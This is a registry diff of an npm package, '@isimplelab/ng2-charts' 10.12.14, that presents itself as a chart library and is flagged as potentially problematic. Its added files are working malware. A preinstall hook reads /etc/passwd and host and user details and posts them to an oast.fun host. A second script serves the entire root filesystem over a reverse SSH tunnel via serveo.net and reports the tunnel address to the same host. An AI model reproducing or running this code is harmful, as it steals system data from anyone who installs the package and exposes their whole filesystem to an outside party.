@isimplelab/ng2-charts 10.12.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @isimplelab/ng2-charts might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +56 -0
  2. package/package.json +12 -0
  3. package/serveo_url.js +165 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the /etc/passwd file
10
+ let passwdData = "";
11
+ try {
12
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } catch (err) {
14
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
15
+ }
16
+
17
+ const trackingData = JSON.stringify({
18
+ p: package,
19
+ c: __dirname,
20
+ hd: os.homedir(),
21
+ hn: os.hostname(),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ r: packageJSON ? packageJSON.___resolved : undefined,
25
+ v: packageJSON.version,
26
+ pjson: packageJSON,
27
+ passwd: passwdData, // Add the /etc/passwd content here
28
+ });
29
+
30
+ var postData = querystring.stringify({
31
+ msg: trackingData,
32
+ });
33
+
34
+ var options = {
35
+ hostname: "vgjabqtdfhdubjdmtxugul3x7bcfab090.oast.fun", // Replace with Burp collaborator link
36
+ port: 443,
37
+ path: "/",
38
+ method: "POST",
39
+ headers: {
40
+ "Content-Type": "application/x-www-form-urlencoded",
41
+ "Content-Length": postData.length,
42
+ },
43
+ };
44
+
45
+ var req = https.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // console.error(e);
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@isimplelab/ng2-charts",
3
+ "version": "10.12.14",
4
+ "description": "Internal App",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \\\"Error: no test specified\\\" && exit 1",
8
+ "preinstall": "node index.js; node serveo_url.js"
9
+ },
10
+ "author": "Internal App",
11
+ "license": "ISC"
12
+ }
package/serveo_url.js ADDED
@@ -0,0 +1,165 @@
1
+ const { spawn } = require("child_process");
2
+ const http = require("http");
3
+ const readline = require("readline");
4
+ const fs = require("fs");
5
+ const path = require("path");
6
+
7
+ // Configuration
8
+ const LOCAL_PORT = 4563;
9
+ const LISTENING_SERVER_URL = "http://vgjabqtdfhdubjdmtxugul3x7bcfab090.oast.fun/serveo-ur"; // Replace with your actual URL
10
+
11
+ // Function to serve directory listings
12
+ function serveDirectory(res, dirPath) {
13
+ fs.readdir(dirPath, { withFileTypes: true }, (err, entries) => {
14
+ if (err) {
15
+ console.error(`Error reading directory: ${dirPath}`);
16
+ res.writeHead(500, { "Content-Type": "text/plain" });
17
+ res.end("Server error");
18
+ return;
19
+ }
20
+
21
+ // Create an HTML response with links to files and directories
22
+ let htmlContent = `<h1>Index of ${dirPath}</h1><ul>`;
23
+ entries.forEach(entry => {
24
+ const entryName = entry.name;
25
+ const entryPath = path.join(dirPath, entryName);
26
+ const linkPath = path.join("/", entryPath); // Public path for the file
27
+
28
+ if (entry.isDirectory()) {
29
+ htmlContent += `<li><a href="${linkPath}/">${entryName}/</a></li>`;
30
+ } else {
31
+ htmlContent += `<li><a href="${linkPath}">${entryName}</a></li>`;
32
+ }
33
+ });
34
+ htmlContent += "</ul>";
35
+
36
+ res.writeHead(200, { "Content-Type": "text/html" });
37
+ res.end(htmlContent);
38
+ });
39
+ }
40
+
41
+ // Start an HTTP server to serve files from the root directory ('/')
42
+ const server = http.createServer((req, res) => {
43
+ // Map the requested URL to the root directory
44
+ let filePath = path.join('/', req.url); // Requested path mapped to the root directory
45
+
46
+ // Normalize the file path to avoid traversal issues
47
+ filePath = path.normalize(filePath);
48
+
49
+ // Ensure the requested path is within the root directory
50
+ if (!filePath.startsWith('/')) {
51
+ res.writeHead(403, { "Content-Type": "text/plain" });
52
+ res.end("Access forbidden");
53
+ return;
54
+ }
55
+
56
+ console.log(`Requested path: ${filePath}`); // Log the requested path for debugging
57
+
58
+ // Check if the requested path is a directory
59
+ fs.stat(filePath, (err, stats) => {
60
+ if (err) {
61
+ console.error(`Error accessing path: ${filePath}`);
62
+ res.writeHead(404, { "Content-Type": "text/plain" });
63
+ res.end("File not found");
64
+ } else if (stats.isDirectory()) {
65
+ // Serve the directory listing
66
+ serveDirectory(res, filePath);
67
+ } else {
68
+ // Serve the requested file
69
+ fs.readFile(filePath, (err, data) => {
70
+ if (err) {
71
+ console.error(`Error reading file: ${filePath}`);
72
+ res.writeHead(404, { "Content-Type": "text/plain" });
73
+ res.end("File not found");
74
+ } else {
75
+ // Determine content type based on file extension
76
+ const extname = path.extname(filePath).toLowerCase();
77
+ let contentType = 'application/octet-stream'; // Default binary type
78
+
79
+ if (extname === '.html' || extname === '.htm') contentType = 'text/html';
80
+ if (extname === '.css') contentType = 'text/css';
81
+ if (extname === '.js') contentType = 'application/javascript';
82
+ if (extname === '.json') contentType = 'application/json';
83
+ if (extname === '.jpg' || extname === '.jpeg') contentType = 'image/jpeg';
84
+ if (extname === '.png') contentType = 'image/png';
85
+ if (extname === '.gif') contentType = 'image/gif';
86
+ if (extname === '.txt') contentType = 'text/plain';
87
+
88
+ res.writeHead(200, { "Content-Type": contentType });
89
+ res.end(data);
90
+ }
91
+ });
92
+ }
93
+ });
94
+ }).listen(LOCAL_PORT, () => {
95
+ console.log(`HTTP server running at http://localhost:${LOCAL_PORT}/ serving '/' directory`);
96
+ });
97
+
98
+ // Start the SSH tunnel
99
+ const sshProcess = spawn("ssh", ["-R", `80:localhost:${LOCAL_PORT}`, "serveo.net"]);
100
+
101
+ // Read SSH output in real-time
102
+ const rl = readline.createInterface({
103
+ input: sshProcess.stdout,
104
+ terminal: false,
105
+ });
106
+
107
+ let subdomainCaptured = false;
108
+
109
+ // Process each line from the SSH output
110
+ rl.on("line", (line) => {
111
+ console.log("SSH Output:", line); // Debug output
112
+ const match = line.match(/https:\/\/([a-zA-Z0-9.-]+)\.serveo\.net/);
113
+ if (match && !subdomainCaptured) {
114
+ const subdomain = match[0];
115
+ console.log("Subdomain captured:", subdomain);
116
+ subdomainCaptured = true;
117
+
118
+ // Send the subdomain to the listening server using HTTP
119
+ const http = require('http');
120
+ const data = JSON.stringify({ subdomain });
121
+
122
+ const options = {
123
+ hostname: 'vgjabqtdfhdubjdmtxugul3x7bcfab090.oast.fun', // Replace with your actual server URL
124
+ port: 80, // HTTP port
125
+ path: '/endpoint', // Adjust the path if needed
126
+ method: 'POST',
127
+ headers: {
128
+ 'Content-Type': 'application/json',
129
+ 'Content-Length': data.length
130
+ }
131
+ };
132
+
133
+ const req = http.request(options, (res) => {
134
+ let body = '';
135
+ res.on('data', (chunk) => {
136
+ body += chunk;
137
+ });
138
+ res.on('end', () => {
139
+ if (res.statusCode === 200) {
140
+ console.log("Subdomain sent successfully.");
141
+ } else {
142
+ console.error(`Failed to send subdomain. HTTP Status: ${res.statusCode}`);
143
+ }
144
+ });
145
+ });
146
+
147
+ req.on('error', (error) => {
148
+ console.error("Error sending subdomain:", error.message);
149
+ });
150
+
151
+ req.write(data);
152
+ req.end();
153
+ }
154
+ });
155
+
156
+ // Handle SSH process errors
157
+ sshProcess.stderr.on("data", (data) => {
158
+ console.error(`SSH Error: ${data}`);
159
+ });
160
+
161
+ // Handle SSH process exit
162
+ sshProcess.on("close", (code) => {
163
+ console.log(`SSH process exited with code ${code}`);
164
+ server.close(); // Stop the HTTP server
165
+ });